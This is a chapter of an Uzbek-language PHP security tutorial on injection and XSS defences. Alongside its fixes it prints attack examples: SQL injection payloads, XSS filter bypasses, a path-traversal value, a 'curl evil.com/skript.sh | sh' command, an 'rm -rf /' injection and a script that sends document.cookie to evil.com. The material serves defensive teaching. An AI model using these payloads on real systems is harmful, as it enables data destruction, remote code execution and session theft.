8-bo‘lim

Veb zaifliklari - inyeksiya va XSS

OWASP Top 10 ning birinchi qismi - SQL inyeksiya, buyruq inyeksiyasi, XSS va ularga qarshi himoya.

🕑 22 daqiqa o‘qish 📄 976 so‘z 👁 5 marta ko‘rilgan
Ushbu bo‘lim mundarijasi
  1. OWASP Top 10
  2. Inyeksiyaning umumiy sababi
  3. SQL inyeksiya
  4. Inyeksiya turlari
  5. Himoya
  6. Buyruq inyeksiyasi
  7. XSS - o'zaro sayt skriptlari
  8. Kontekstga mos qochirish
  9. Shablon dvigatellari
  10. Foydalanuvchi HTML kiritsa
  11. DOM XSS
  12. Kontent xavfsizlik siyosati
  13. Boshqa inyeksiya turlari
  14. Fayl yuklash
  15. Zaifliklarni tekshirish
  16. Himoya tekshiruv ro'yxati
  17. Xulosa

Veb-ilovalar eng ko'p hujumga uchraydigan tizimlar. OWASP Top 10 - eng jiddiy zaifliklar ro'yxati.

OWASP Top 10 #

OWASP Top 10 - eng jiddiy veb zaifliklari A01 Kirish nazorati buzilishi (IDOR, huquq oshirish) A02 Kriptografik nosozliklar (zaif shifrlash, ochiq uzatish) A03 Inyeksiya (SQL, buyruq, XSS) A04 Xavfsiz bo'lmagan dizayn A05 Noto'g'ri sozlama A06 Zaif va eskirgan komponentalar A07 Autentifikatsiya nosozliklari A08 Ma'lumot yaxlitligi nosozliklari A09 Jurnal yetishmasligi A10 SSRF
Bu bo'limda A03 (inyeksiya) ni batafsil ko'ramiz

Inyeksiyaning umumiy sababi #

Bitta sabab, ko'p ko'rinish

Barcha inyeksiya zaifliklarining sababi bir xil:

Ma'lumot va buyruq aralashib ketadi.

Interpretator (SQL, shell, HTML) foydalanuvchi kiritgan matnni kod sifatida qabul qiladi.

Yechim ham bir xil: ularni ajrating.

SQL inyeksiya #

PHP
// ZAIF KOD
$ism = $_GET['ism'];
$natija = $pdo->query("SELECT * FROM talabalar WHERE ism = '$ism'");
Natija
Oddiy so'rov:  ism=Husanboy
SQL:           SELECT * FROM talabalar WHERE ism = 'Husanboy'

Hujum:         ism=' OR '1'='1
SQL:           SELECT * FROM talabalar WHERE ism = '' OR '1'='1'
Natija:        butun jadval qaytadi
Ma'lumot buyruqqa aylanadi Kutilgan holat: SELECT * FROM talabalar WHERE ism = ' Husanboy ' Hujum: SELECT * FROM talabalar WHERE ism = ' ' OR '1'='1 ' Yechim - parametrlash: SELECT * FROM talabalar WHERE ism = ? ← qiymat alohida yuboriladi
Parametrlashda baza qiymatni har doim ma'lumot deb qabul qiladi

Inyeksiya turlari #

Natija
1. Klassik - natija ekranda ko'rinadi
   ' UNION SELECT login, parol FROM users--

2. Xato asosida - xato xabaridan ma'lumot olish
   ' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),...)) x)--

3. Ko'r - javob "ha/yo'q" ko'rinishida
   ' AND SUBSTRING(parol,1,1)='a'--

4. Vaqt asosida - javob vaqti bo'yicha
   ' AND IF(1=1, SLEEP(5), 0)--
Ko'r inyeksiya ham xavfli

"Bizda xato xabari ko'rinmaydi, demak xavfsiz" - noto'g'ri.

Hujumchi so'rov javob vaqtini o'lchab, ma'lumotni bit-bit chiqarib olishi mumkin. Bu sekin, lekin avtomatlashtirilgan vositalar buni bir necha soatda bajaradi.

Himoya #

PHP
// 1. TAYYORLANGAN SO'ROVLAR - asosiy himoya
$stmt = $pdo->prepare('SELECT * FROM talabalar WHERE ism = ? AND sinf = ?');
$stmt->execute([$ism, $sinf]);

// Nomlangan parametrlar
$stmt = $pdo->prepare(
    'SELECT * FROM buyurtmalar WHERE mijoz_id = :mijoz AND holat = :holat'
);
$stmt->execute(['mijoz' => $mijozId, 'holat' => $holat]);
PHP
// 2. IN uchun
$idlar = [3, 7, 12, 18];
$belgilar = implode(',', array_fill(0, count($idlar), '?'));

$stmt = $pdo->prepare("SELECT * FROM mahsulotlar WHERE id IN ({$belgilar})");
$stmt->execute($idlar);
PHP
// 3. Jadval va ustun nomlari - parametrlash ISHLAMAYDI
// Oq ro'yxat ishlating
final class SaralashTekshiruvchi
{
    private const RUXSAT_USTUNLAR = ['id', 'nomi', 'narx', 'yaratilgan'];

    public function tekshiring(string $ustun, string $yonalish): array
    {
        if (!in_array($ustun, self::RUXSAT_USTUNLAR, true)) {
            $ustun = 'id';
        }

        $yonalish = strtolower($yonalish) === 'desc' ? 'DESC' : 'ASC';

        return [$ustun, $yonalish];
    }
}

[$ustun, $yonalish] = $tekshiruvchi->tekshiring($_GET['saralash'], $_GET['yonalish']);
$sql = "SELECT * FROM mahsulotlar ORDER BY {$ustun} {$yonalish}";
Qochirish - ishonchsiz himoya
PHP
// ZAIF - ba'zi kodlashlarda chetlab o'tiladi
$ism = $pdo->quote($_GET['ism']);
$sql = "SELECT * FROM talabalar WHERE ism = {$ism}";

mysql_real_escape_string va shunga o'xshash funksiyalar ba'zi belgilar kodlashida (masalan GBK) chetlab o'tilishi mumkin.

Faqat parametrlangan so'rovlar ishonchli himoya beradi.

PHP
// 4. To'g'ri PDO sozlamalari
$pdo = new PDO($dsn, $user, $parol, [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES   => false,   // MUHIM
]);
ATTR_EMULATE_PREPARES => false nima uchun muhim?

Standart holatda PDO tayyorlangan so'rovlarni emulyatsiya qiladi - ya'ni qiymatlarni o'zi so'rovga qo'yadi.

Bu odatda xavfsiz, lekin haqiqiy server tomonidagi tayyorlash ishonchliroq: baza so'rov tuzilmasini oldindan tahlil qiladi va qiymat uni o'zgartira olmaydi.

PHP
// 5. Baza foydalanuvchisi huquqlarini cheklash
// GRANT SELECT, INSERT, UPDATE, DELETE ON dokon.* TO 'app'@'localhost';
// DROP, ALTER, FILE huquqlari berilmaydi

Buyruq inyeksiyasi #

PHP
// ZAIF
$fayl = $_POST['fayl'];
system("convert {$fayl} -resize 200x200 kichik.jpg");
Natija
fayl = rasm.jpg; rm -rf /
fayl = rasm.jpg && curl evil.com/skript.sh | sh
fayl = rasm.jpg $(whoami)
PHP
// XAVFSIZ - massiv sifatida argumentlar
$jarayon = new Process([
    'convert',
    $fayl,
    '-resize', '200x200',
    $natija,
]);
$jarayon->run();

// Yoki escapeshellarg
$buyruq = sprintf(
    'convert %s -resize 200x200 %s',
    escapeshellarg($fayl),
    escapeshellarg($natija),
);
Shell ni umuman ishlatmang

Eng yaxshi yechim - tashqi buyruq o'rniga kutubxona ishlatish:

PHP
// Shell o'rniga
$rasm = new Imagick($fayl);
$rasm->thumbnailImage(200, 200, true);
$rasm->writeImage($natija);

Shell chaqiruvi bo'lmasa - buyruq inyeksiyasi ham bo'lmaydi.

Fayl nomini tekshiring
PHP
// Yo'l o'tish hujumi
$fayl = $_GET['fayl'];              // ../../../etc/passwd
readfile("/var/www/yuklamalar/{$fayl}");

// XAVFSIZ
$nom = basename($fayl);
$yol = realpath("/var/www/yuklamalar/{$nom}");

if ($yol === false || !str_starts_with($yol, '/var/www/yuklamalar/')) {
    throw new NotogriYol();
}

readfile($yol);

XSS - o'zaro sayt skriptlari #

XSS ning uch turi 1. Saqlangan (Stored) Zararli kod bazaga saqlanadi va har bir tashrif buyuruvchiga ko'rsatiladi Eng xavfli - sharh, profil, xabar orqali 2. Aks etuvchi (Reflected) Kod URL da keladi va javobda qaytariladi Qurbon zararli havolani bosishi kerak 3. DOM asosida JavaScript kodi DOM ni xavfsiz bo'lmagan usulda o'zgartiradi Server umuman ishtirok etmaydi
Har uch turda ham sabab bir xil - qochirilmagan chiqish
PHP
// ZAIF
echo "<div>Salom, {$_GET['ism']}!</div>";
Natija
ism=<script>fetch('https://evil.com/?c='+document.cookie)</script>
PHP
// XAVFSIZ
echo '<div>Salom, ' . htmlspecialchars($_GET['ism'], ENT_QUOTES, 'UTF-8') . '!</div>';

Kontekstga mos qochirish #

PHP
// 1. HTML matn
echo htmlspecialchars($matn, ENT_QUOTES, 'UTF-8');

// 2. HTML atribut - qo'shtirnoq majburiy
echo '<input value="' . htmlspecialchars($qiymat, ENT_QUOTES, 'UTF-8') . '">';

// 3. JavaScript
echo '<script>const ism = ' . json_encode($ism, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) . ';</script>';

// 4. URL parametri
echo '<a href="/qidiruv?q=' . urlencode($sorov) . '">';

// 5. CSS - foydalanuvchi ma'lumotini umuman qo'ymang
Noto'g'ri kontekst - himoya ishlamaydi
PHP
// htmlspecialchars ishlatilgan, lekin kontekst noto'g'ri
echo '<a href="' . htmlspecialchars($url) . '">Havola</a>';

Agar $url = "javascript:alert(1)" bo'lsa, htmlspecialchars uni o'zgartirmaydi va hujum ishlaydi.

PHP
// TO'G'RI
$sxema = parse_url($url, PHP_URL_SCHEME);

if (!in_array($sxema, ['http', 'https'], true)) {
    $url = '#';
}

echo '<a href="' . htmlspecialchars($url, ENT_QUOTES, 'UTF-8') . '">Havola</a>';

Shablon dvigatellari #

TWIG
{# Twig - avtomatik qochiradi #}
<div>{{ foydalanuvchi.ism }}</div>

{# Kontekstga mos qochirish #}
<script>const ism = {{ foydalanuvchi.ism|json_encode|raw }};</script>
<a href="/profil?id={{ id|url_encode }}">Profil</a>

{# Xavfli - faqat ishonchli HTML uchun #}
<div>{{ matn|raw }}</div>
Avtomatik qochirishli shablon ishlating

Twig, Blade, Jinja2 - hammasi standart holatda qochiradi.

Bu xavfsiz standart prinsipi: dasturchi qochirishni unutsa ham, himoya ishlaydi.

|raw yoki {!! !!} ni ishlatganda har doim ikki marta o'ylang.

Foydalanuvchi HTML kiritsa #

PHP
// HTML Purifier - ishonchli tozalash
$sozlama = HTMLPurifier_Config::createDefault();
$sozlama->set('HTML.Allowed', 'p,b,i,u,strong,em,a[href],ul,ol,li,br');
$sozlama->set('URI.AllowedSchemes', ['http' => true, 'https' => true]);
$sozlama->set('HTML.TargetBlank', true);

$tozalovchi = new HTMLPurifier($sozlama);
$xavfsizHtml = $tozalovchi->purify($foydalanuvchiHtml);
O'z HTML filtringizni yozmang
PHP
// ZAIF - o'nlab chetlab o'tish usuli bor
$matn = str_replace('<script>', '', $matn);

Chetlab o'tish:

Natija
<scr<script>ipt>
<SCRIPT>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href="javascript:alert(1)">

HTML tozalash - juda murakkab masala. HTML Purifier yoki DOMPurify kabi sinovdan o'tgan kutubxonalarni ishlating.

DOM XSS #

JavaScript
// ZAIF
document.getElementById('natija').innerHTML = location.hash.substring(1);
element.innerHTML = foydalanuvchiMalumoti;
eval(foydalanuvchiKodi);
document.write(malumot);

// XAVFSIZ
document.getElementById('natija').textContent = location.hash.substring(1);
element.textContent = foydalanuvchiMalumoti;

// HTML kerak bo'lsa - tozalang
element.innerHTML = DOMPurify.sanitize(foydalanuvchiHtml);
JavaScript
// Xavfsiz element yaratish
const div = document.createElement('div');
div.textContent = foydalanuvchiMalumoti;   // avtomatik qochiriladi
konteyner.appendChild(div);

Kontent xavfsizlik siyosati #

NGINX
add_header Content-Security-Policy "
    default-src 'self';
    script-src 'self' 'nonce-$request_id';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data: https:;
    font-src 'self';
    connect-src 'self' https://api.dokon.uz;
    frame-ancestors 'none';
    base-uri 'self';
    form-action 'self';
    object-src 'none';
    upgrade-insecure-requests;
" always;
PHP
// Nonce bilan inline skript
$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: script-src 'self' 'nonce-{$nonce}'");
HTML
<script nonce="<?= $nonce ?>">
    console.log('Bu skript ishlaydi');
</script>

<script>
    // Bu ishlamaydi - nonce yo'q
</script>
CSP - ikkinchi himoya chizig'i

CSP XSS ni tuzatmaydi, lekin uning ta'sirini keskin kamaytiradi.

Agar hujumchi sahifaga <script> kiritsa ham, brauzer uni bajarmaydi - chunki nonce yo'q.

CSP ni bosqichma-bosqich joriy qiling:

  1. Content-Security-Policy-Report-Only bilan boshlang
  2. Hisobotlarni kuzating
  3. Qoidalarni sozlang
  4. Keyin majburiy rejimga o'ting
NGINX
# Kuzatuv rejimi
add_header Content-Security-Policy-Report-Only "
    default-src 'self';
    report-uri /csp-hisobot;
" always;
PHP
// Hisobotlarni qabul qilish
Route::post('/csp-hisobot', function (Sorov $sorov) {
    $hisobot = json_decode($sorov->xomTana(), true);

    logger()->warning('CSP buzilishi', [
        'buzilgan_direktiva' => $hisobot['csp-report']['violated-directive'] ?? null,
        'bloklangan_uri'     => $hisobot['csp-report']['blocked-uri'] ?? null,
        'hujjat_uri'         => $hisobot['csp-report']['document-uri'] ?? null,
    ]);

    return response('', 204);
});

Boshqa inyeksiya turlari #

PHP
// LDAP inyeksiya
$filtr = "(uid={$_GET['login']})";   // ZAIF
$filtr = '(uid=' . ldap_escape($login, '', LDAP_ESCAPE_FILTER) . ')';

// XPath inyeksiya
$sorov = "//user[login='{$login}']";   // ZAIF

// NoSQL inyeksiya
// {"login": {"$ne": null}, "parol": {"$ne": null}}
$filtr = ['login' => (string) $login, 'parol' => (string) $parol];

// Shablon inyeksiyasi
$shablon = "Salom, {$_GET['ism']}";   // ZAIF
$twig->render($shablon);              // kod bajarilishi mumkin

// Header inyeksiyasi
header("Location: {$_GET['keyingi']}");   // ZAIF - CRLF inyeksiya
PHP
// Yo'naltirishni tekshirish
final class YonaltirishTekshiruvchi
{
    private const RUXSAT_HOSTLAR = ['dokon.uz', 'www.dokon.uz'];

    public function xavfsizmi(string $url): bool
    {
        // Nisbiy yo'l - xavfsiz
        if (str_starts_with($url, '/') && !str_starts_with($url, '//')) {
            return true;
        }

        $host = parse_url($url, PHP_URL_HOST);

        return $host !== null && in_array($host, self::RUXSAT_HOSTLAR, true);
    }
}
Ochiq yo'naltirish
Natija
https://dokon.uz/kirish?keyingi=https://dokon-uz.evil.com

Foydalanuvchi ishonchli domendagi havolani bosadi, lekin soxta saytga tushadi.

Bu fishing uchun juda samarali - havola haqiqatan dokon.uz bilan boshlanadi.

Fayl yuklash #

PHP
final class XavfsizFaylYuklovchi
{
    private const RUXSAT_TURLAR = [
        'image/jpeg' => 'jpg',
        'image/png'  => 'png',
        'image/webp' => 'webp',
    ];
    private const MAKS_HAJM = 5 * 1024 * 1024;

    public function yuklang(YuklanganFayl $fayl): string
    {
        if ($fayl->xatoBormi()) {
            throw new YuklashXatosi($fayl->xatoKodi());
        }

        if ($fayl->hajm() > self::MAKS_HAJM) {
            throw new FaylJudaKatta();
        }

        // MIME turini MAZMUN bo'yicha aniqlash
        $tur = (new finfo(FILEINFO_MIME_TYPE))->file($fayl->vaqtinchalikYol());

        if (!isset(self::RUXSAT_TURLAR[$tur])) {
            throw new NotogriFaylTuri($tur);
        }

        // Rasm haqiqatan rasmmi?
        $olcham = @getimagesize($fayl->vaqtinchalikYol());

        if ($olcham === false) {
            throw new NotogriFaylTuri('Rasm emas');
        }

        // Rasmni qayta yaratish - yashirin kod yo'qoladi
        $yangiNom = bin2hex(random_bytes(16)) . '.' . self::RUXSAT_TURLAR[$tur];
        $this->rasmniQaytaYarating($fayl->vaqtinchalikYol(), $yangiNom, $tur);

        return $yangiNom;
    }

    private function rasmniQaytaYarating(string $manba, string $nom, string $tur): void
    {
        $rasm = match ($tur) {
            'image/jpeg' => imagecreatefromjpeg($manba),
            'image/png'  => imagecreatefrompng($manba),
            'image/webp' => imagecreatefromwebp($manba),
        };

        $yol = self::YUKLAMALAR_YOLI . '/' . $nom;

        match ($tur) {
            'image/jpeg' => imagejpeg($rasm, $yol, 85),
            'image/png'  => imagepng($rasm, $yol, 8),
            'image/webp' => imagewebp($rasm, $yol, 85),
        };

        imagedestroy($rasm);
    }
}
Fayl yuklash - eng xavfli imkoniyat
HujumHimoya
rasm.php.jpgKengaytmani o'zingiz belgilang
Rasm ichida PHP kodiRasmni qayta yarating
../../../etc/passwdbasename() va realpath()
Juda katta faylHajm cheklovi
Zip bombaOchilgan hajmni tekshirish
SVG ichida JavaScriptSVG ni umuman qabul qilmang yoki tozalang

Qo'shimcha choralar:

  1. Fayllarni veb-ildizdan tashqarida saqlang
  2. Ularni PHP orqali bering
  3. Yuklamalar papkasida PHP bajarilishini o'chiring
NGINX
# Yuklamalar papkasida skript bajarilishini taqiqlash
location /yuklamalar/ {
    location ~ \.php$ {
        deny all;
        return 403;
    }

    add_header Content-Disposition "attachment";
    add_header X-Content-Type-Options "nosniff";
}

Zaifliklarni tekshirish #

Terminal
# Statik tahlil
composer require --dev vimeo/psalm
vendor/bin/psalm --taint-analysis

# Semgrep - naqsh asosida qidirish
semgrep --config=p/security-audit manba/
semgrep --config=p/php manba/
Natija
manba/Kontrollerlar/QidiruvKontrolleri.php
   php.lang.security.injection.tainted-sql-string
   User input flows into SQL query without sanitization
   42┆ $sql = "SELECT * FROM mahsulotlar WHERE nomi LIKE '%{$sorov}%'";
Terminal
# Dinamik tekshirish (faqat o'z tizimingizda!)
# OWASP ZAP
zap-cli quick-scan --self-contained http://localhost:8080
Faqat o'z tizimingizni tekshiring

Skanerlash vositalari hujum trafigi yaratadi.

Boshqa odamning saytini ruxsatsiz skanerlash - jinoyat.

Mashq uchun:

  • Lokal virtual mashina
  • OWASP Juice Shop, DVWA (o'quv ilovalar)
  • TryHackMe, HackTheBox
  • O'z loyihangiz

Himoya tekshiruv ro'yxati #

Inyeksiya va XSS ga qarshi
ChoraBajarildi
Barcha SQL so'rovlar parametrlangan
ATTR_EMULATE_PREPARES => false
Ustun nomlari oq ro'yxatdan
Shell chaqiruvlari yo'q yoki escapeshellarg bilan
Fayl yo'llari realpath bilan tekshiriladi
Chiqish kontekstga mos qochiriladi
Shablon dvigateli avtomatik qochiradi
Foydalanuvchi HTML - HTML Purifier orqali
innerHTML o'rniga textContent
CSP sozlangan
Yo'naltirishlar oq ro'yxatdan
Fayl yuklash: MIME mazmun bo'yicha, qayta yaratish
Yuklamalar papkasida PHP o'chirilgan
Baza foydalanuvchisi huquqlari cheklangan
WAF yoqilgan
Amaliy topshiriq
  1. Lokal muhitda DVWA yoki OWASP Juice Shop o'rnating.
  2. SQL inyeksiya zaifligini toping va tuzating.
  3. Zaif kodni parametrlangan so'rovga aylantiring.
  4. Saralash uchun oq ro'yxat tekshiruvini yozing.
  5. XSS zaifligini toping va qochirish qo'shing.
  6. Kontekstga mos qochirishning 4 turini qo'llang.
  7. CSP ni Report-Only rejimida yoqing va hisobotlarni ko'ring.
  8. HTML Purifier bilan foydalanuvchi HTML ini tozalang.
  9. Xavfsiz fayl yuklovchi yozing va uni sinang.
  10. semgrep bilan loyihangizni skanerlang.

Xulosa #

  • Barcha inyeksiyalarning sababi bir xil: ma'lumot va buyruq aralashadi.
  • SQL uchun faqat parametrlangan so'rovlar ishonchli.
  • Qochirish (quote, escape) - ishonchsiz himoya.
  • Ustun va jadval nomlari uchun oq ro'yxat.
  • Shell chaqiruvi o'rniga kutubxona ishlating.
  • XSS uchun kontekstga mos qochirish kerak.
  • Avtomatik qochirishli shablon dvigateli ishlating.
  • Foydalanuvchi HTML ini HTML Purifier bilan tozalang.
  • innerHTML o'rniga textContent.
  • CSP - ikkinchi himoya chizig'i, XSS ta'sirini kamaytiradi.
  • Ochiq yo'naltirish fishing uchun ishlatiladi - oq ro'yxat qo'ying.
  • Fayl yuklashda: MIME mazmun bo'yicha, rasmni qayta yarating.

Keyingi bo'limda CSRF, SSRF va sessiya zaifliklarini ko'ramiz.

Xatolik topdingizmi?

Imlo xatosi, ishlamaydigan kod yoki noto‘g‘ri ma‘lumotni ko‘rsangiz - bizga xabar bering. Har bir xabar administrator tomonidan ko‘rib chiqiladi.